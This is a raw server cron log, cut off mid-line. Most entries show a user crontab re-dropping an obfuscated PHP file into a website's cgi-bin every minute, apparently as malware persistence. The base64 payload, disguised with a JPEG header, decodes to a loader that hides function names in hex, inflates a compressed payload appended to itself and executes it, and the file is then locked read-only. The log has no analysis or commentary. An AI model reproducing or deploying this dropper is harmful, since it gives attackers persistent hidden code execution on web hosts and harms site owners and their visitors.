Apr  7 20:11:01 server CROND[18801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:12:01 server CROND[18901]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 20:12:01 server CROND[18902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:13:01 server CROND[18976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:14:01 server CROND[19045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:15:01 server CROND[19109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:15:01 server CROND[19111]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 20:15:01 server CROND[19110]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  7 20:15:01 server CROND[19112]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 20:16:01 server CROND[19221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:17:01 server CROND[19374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:18:01 server CROND[19425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:19:01 server CROND[19492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:20:01 server CROND[19561]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 20:20:01 server CROND[19563]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 20:20:01 server CROND[19564]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 20:20:01 server CROND[19565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:20:01 server CROND[19567]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 20:21:01 server CROND[19697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:22:01 server CROND[19855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:23:01 server CROND[19920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:24:01 server CROND[19977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBq